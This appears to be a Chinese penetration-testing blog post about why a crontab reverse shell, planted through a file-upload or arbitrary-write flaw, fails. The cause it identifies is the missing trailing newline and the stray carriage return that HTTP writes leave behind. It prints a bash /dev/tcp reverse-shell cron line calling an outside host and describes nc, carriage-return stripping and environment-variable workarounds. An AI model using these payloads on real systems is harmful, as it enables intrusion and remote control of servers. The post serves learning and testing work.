crontab反弹shell细节问题

免责声明:由于传播、利用本文所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。

前言

​ 此文是小生针对于springboot框架下,文件上传漏洞RCE姿势研究过程中,衍生出来的一个问题,在[tari]师傅的帮助与自己的苦心研究下,终于得出结果。

​ 当遇到文件上传漏洞、或者文件覆盖、任意文件写入漏洞,无法上传目标脚本文件,或者说上传了但不解析…..诸多一系列问题,就不再提了,相信大家也都遇到过,利用姿势也不多,大家最容易想到的,应该就是 corntab反弹shell。

​ 有的时候,收不到shell原因非常之多,可能是防火墙,可能是态感,可能是各种设备,可能是乱七八糟的策略,但也有可能是自己payload存在问题。

​ 我想这篇博客的标题也可以叫做:

Linux系统与Http协议换行不同而导致反弹shell异常问题

Start

场景还原
场景一

​ 首先,小生以攻击者视角,用最基础原生反弹shell做演示,方便引入对这个问题的理解

image-20240515181734190

​ 这个时候,当我们打开这个文件

image-20240515181832512

​ 会出现这种情况,这是因为,没有为其添加换行导致的

image-20240515181851893

​ 这里shell也不会接受到,因为在crontab中,每一行表示一个计划任务,如果最后一行没有以换行符结尾,那么crontab会认为这不是一个完整,或者是一个无效的命令,所以它不会去执行,也就说这里没有收到shell的原因,是反弹shell的命令没有被crontab执行

image-20240515181944708

这里我们查看日志证明出了,我们的结论,命令没有被执行,所以没有接收到shell

场景二

image-20240515182046709

​ 这个#***大家忽略就好

image-20240515182155640

​ 这里可以看到,因为携带了换行,所以反弹shell这条命令 被crontabl当做一条完整且有效的命令,得到了执行

但这个时候,反弹shell报错不明确重定向

image-20240515182230611

​ 查看日志,留意这里多了一个^M

image-20240515182250264

​ 把这个命令拿出来单独执行

image-20240515182329079

image-20240515182339208

​ 这个时候,得出结论,命令的确是被执行了,但命令后面多加了一个^M,导致命令是错误的,无法接收到shell

​ 这个^M又是什么,它表示回车符(\r),在Linux中 换行符是\n,Http中 换行符是\r\n

​ 这就导致Http报文传输到Linux系统中,出现了对换行解析的问题(直接写入,未处理换行问题):

1
2
3
4
5
6
7
8
9
10
11
Http报文 : 

* * * * * root bash -i >& /dev/tcp/192.168.100.1/9000 0>&1\r\n

写入到Linux的文件就变成了:

* * * * * root bash -i >& /dev/tcp/192.168.100.1/9000 0>&1^M\n

* * * * * root bash -i >& /dev/tcp/192.168.100.1/9000 0>&1^M

[我是新的一行哦]
解决方法

由简单到麻烦的方法 如下

第一种

使用nc反弹

image-20240515182620932

细心发现 我这里没有写root,因为在后续的学习中,我发现加和不加没有任何影响,因为计划任务的机制中,以文件名确定用户名

日志查看

image-20240515182638060

这里可以看到后面有^M,但依然收到了反弹的shell

image-20240515182657146

一个细节就是 bash的位置要写绝对路径!这个我也没搞清楚是为什么,后续有时间再研究,再对博客进行更新修改

第二种

image-20240515182828077

删除掉这个\r 原理上述已经讲过 就不赘述了

image-20240515182846976

查看日志

image-20240515182906134

这里可以看到^M已经没有了

image-20240515182922777

成功接收到,其他渗透测试工具中,了解了原理 自然也就会改了。

其他方法

​ 关于计划任务文件中,对环境变量的设置,因为时间问题,还有我这个环境,就不在做演示了,那一种虽然也可以,比较麻烦,就是通过先声明环境变量

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

MAILTO=root

后面再跟改好的命令

END